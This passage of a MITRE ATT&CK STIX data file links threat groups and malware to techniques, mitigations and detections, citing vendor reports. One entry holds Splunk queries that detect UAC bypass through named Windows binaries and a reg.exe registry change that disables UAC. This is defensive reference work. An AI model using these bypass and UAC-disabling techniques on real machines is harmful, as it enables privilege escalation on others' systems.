GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8c5b766-a719-43bd-988a-cb00beedbba3","type":"relationship","created":"2017-05-31T21:33:27.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-30T02:47:04.653Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used RAR to compress, encrypt, and password-protect files prior to exfiltration.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8c7f580-982a-4efc-8a2a-e007e7f07220","type":"relationship","created":"2020-03-29T17:17:31.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T15:47:48.647Z","description":"Many native binaries may not be necessary within a given environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8c81782-26cb-4dcc-abc0-9d964d83031c","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for unusual kernel driver installation activity that may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8cae681-d480-4b85-ba37-d3d3265c98c2","created":"2023-12-21T21:35:36.488Z","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T21:35:36.488Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used the Iox and NPS proxy and tunneling tools in combination create multiple connections through a single tunnel.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8ce3bcd-b74f-497d-8f76-cc8c7333ab49","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto CVE-2015-3113 July 2015","description":"Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}],"modified":"2020-03-18T20:44:39.344Z","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a process listing.(Citation: Palo Alto CVE-2015-3113 July 2015)","relationship_type":"uses","source_ref":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8d0e862-20af-4f9f-84e8-0419c8080008","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"},{"source_name":"Unit 42 SeaDuke 2015","description":"Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.319Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic has been encrypted with RC4 and AES.(Citation: Mandiant No Easy Breach)(Citation: Unit 42 SeaDuke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8d2293d-14a2-4e56-ae43-8af584c1908e","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:36:26.520Z","description":"Monitor newly executed processes, such as eventvwr.exe and sdclt.exe, that may bypass UAC mechanisms to elevate process privileges on system.\n\nThreat actors often, after compromising a machine, try to disable User Access Control (UAC) to escalate privileges. This is often done by changing the registry key for system policies using “reg.exe”, a legitimate tool provided by Microsoft for modifying the registry via command prompt or scripts. This action interferes with UAC and may enable a threat actor to escalate privileges on the compromised system, thereby allowing further exploitation of the system.\n\nAnalytic 1 - UAC Bypass\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") IntegrityLevel=High|search (ParentCommandLine=\"\\\"c:\\\\windows\\\\system32\\\\dism.exe\\\"*\"\"*.xml\" AND Image!=\"c:\\\\users\\\\*\\\\appdata\\\\local\\\\temp\\\\*\\\\dismhost.exe\") OR ParentImage=c:\\\\windows\\\\system32\\\\fodhelper.exe OR (CommandLine=\"\\\"c:\\\\windows\\\\system32\\\\wusa.exe\\\"*/quiet*\" AND User!=NOT_TRANSLATED AND CurrentDirectory=c:\\\\windows\\\\system32\\\\ AND ParentImage!=c:\\\\windows\\\\explorer.exe) OR CommandLine=\"*.exe\\\"*cleanmgr.exe /autoclean*\" OR (ParentImage=\"c:\\\\windows\\\\*dccw.exe\" AND Image!=\"c:\\\\windows\\\\system32\\\\cttune.exe\") OR Image=\"c:\\\\program files\\\\windows media player\\\\osk.exe\" OR ParentImage=\"c:\\\\windows\\\\system32\\\\slui.exe\"|eval PossibleTechniques=case(like(lower(ParentCommandLine),\"%c:\\\\windows\\\\system32\\\\dism.exe%\"), \"UACME #23\", like(lower(Image),\"c:\\\\program files\\\\windows media player\\\\osk.exe\"), \"UACME #32\", like(lower(ParentImage),\"c:\\\\windows\\\\system32\\\\fodhelper.exe\"), \"UACME #33\", like(lower(CommandLine),\"%.exe\\\"%cleanmgr.exe /autoclean%\"), \"UACME #34\", like(lower(Image),\"c:\\\\windows\\\\system32\\\\wusa.exe\"), \"UACME #36\", like(lower(ParentImage),\"c:\\\\windows\\\\%dccw.exe\"), \"UACME #37\", like(lower(ParentImage),\"c:\\\\windows\\\\system32\\\\slui.exe\"), \"UACME #45\") \n\nAnalytic 2 - Disable UAC\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") ParentImage=\"C:\\\\Windows\\\\System32\\\\cmd.exe\" CommandLine=\"reg.exe*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System*REG_DWORD /d 0*\"\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8d6c283-67fb-47f4-8d99-7b86aaf92af4","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Walmart Roberts Oct 2018","description":"Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping — Advanced Maldoc Techniques. Retrieved September 17, 2020.","url":"https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278"},{"source_name":"pcodedmp Bontchev","description":"Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.","url":"https://github.com/bontchev/pcodedmp"},{"source_name":"oletools toolkit","description":"decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.","url":"https://github.com/decalage2/oletools"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8da839f-31cf-42f7-ae75-2df96c44cf31","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for newly executed processes when removable media is mounted.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9","created":"2017-05-31T21:33:27.033Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."},{"source_name":"NCC Group APT15 Alive and Strong","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018."},{"source_name":"Mandiant Operation Ke3chang November 2014","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-11T18:44:33.302Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8de0953-1f20-47a4-bb02-ea9c30e8f932","type":"relationship","created":"2021-03-01T21:23:22.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:23:22.797Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has presented the user with a UAC prompt to elevate privileges while installing.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c8df91dd-3060-4829-93a2-121b85b6c49b","created":"2022-01-26T21:51:21.547Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has supported use of a proxy server.(Citation: Talos Bisonal Mar 2020)","modified":"2022-04-18T21:27:12.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8e05047-85f2-4c28-8918-12d6874a45c2","type":"relationship","created":"2020-03-24T15:04:44.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-08T17:10:31.306Z","description":"Develop and publish policies that define acceptable information to be stored in SharePoint repositories.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8e219f3-279d-4953-ae1c-f0bfd4a33bed","created":"2024-03-11T17:43:19.484Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T17:43:19.484Z","description":"(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8e5d0e1-9d60-4f10-984e-735f6d7ce91f","type":"relationship","created":"2020-01-17T19:13:50.516Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-17T19:13:50.516Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8e78d6f-ac9d-4ad3-ae13-238f1eb4423a","created":"2023-09-27T13:22:13.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T13:25:51.965Z","description":"(Citation: Booz Allen Hamilton)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8e8a6c2-5685-4ef6-a080-714482262ac5","type":"relationship","created":"2019-12-30T21:41:03.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T17:05:44.640Z","description":"Regularly check component software on critical services that adversaries may target for persistence to verify the integrity of the systems and identify if unexpected changes have been made. ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8e9b49a-4509-407b-9d49-1c1d6f4cb794","type":"relationship","created":"2019-09-16T18:46:37.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"}],"modified":"2019-09-16T18:46:37.649Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used WMI to automate the remote execution of PowerShell scripts.(Citation: Security Intelligence More Eggs Aug 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8f3916d-e020-42a8-afe0-25fe8498245a","type":"relationship","created":"2020-05-18T19:04:37.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Reaqta MuddyWater November 2017","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."}],"modified":"2020-05-18T19:04:37.692Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used scheduled tasks to establish persistence.(Citation: Reaqta MuddyWater November 2017)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8f639f8-9717-485a-ad4c-7eb1fc771691","type":"relationship","created":"2020-05-28T16:38:03.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-08T19:12:14.213Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can spread itself by infecting other portable executable files on removable drives.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8f79da7-cfd6-41fd-89d4-c015e7289b64","type":"relationship","created":"2019-04-23T12:38:37.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.016Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) has modules for enumerating domain trusts.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8f98ac5-7ed9-4ba7-bb38-ad3982c36559","created":"2024-05-22T22:25:15.248Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:25:15.248Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) exfiltrated staged data using tools such as Putty and WinSCP, communicating with command and control servers.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8f99c96-d4f7-49dc-9ee9-0bcae28ab045","type":"relationship","created":"2021-10-15T13:47:16.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T13:47:16.400Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can enumerate services on a victim machine.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c8f99f79-c0da-4767-8191-34cf2012b559","created":"2024-10-07T22:48:01.752Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:48:01.752Z","description":"Perform regular software updates to mitigate exploitation risk. Keeping software up-to-date with the latest security patches helps prevent adversaries from exploiting known vulnerabilities in client software, reducing the risk of successful attacks.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8fb4459-4352-4ee6-bfaf-a97be333bf64","type":"relationship","created":"2020-08-13T16:45:47.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Hancitor","url":"https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/","description":"Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."},{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-09-02T19:29:12.262Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has used Base64 to encode malicious links. [Hancitor](https://attack.mitre.org/software/S0499) has also delivered compressed payloads in ZIP files to victims.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8fdab57-1e10-4f66-a1de-59a876c99ab1","type":"relationship","created":"2020-06-11T19:52:07.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-06-11T19:52:07.352Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has extracted tar.gz files after downloading them from a C2 server.(Citation: Talos Rocke August 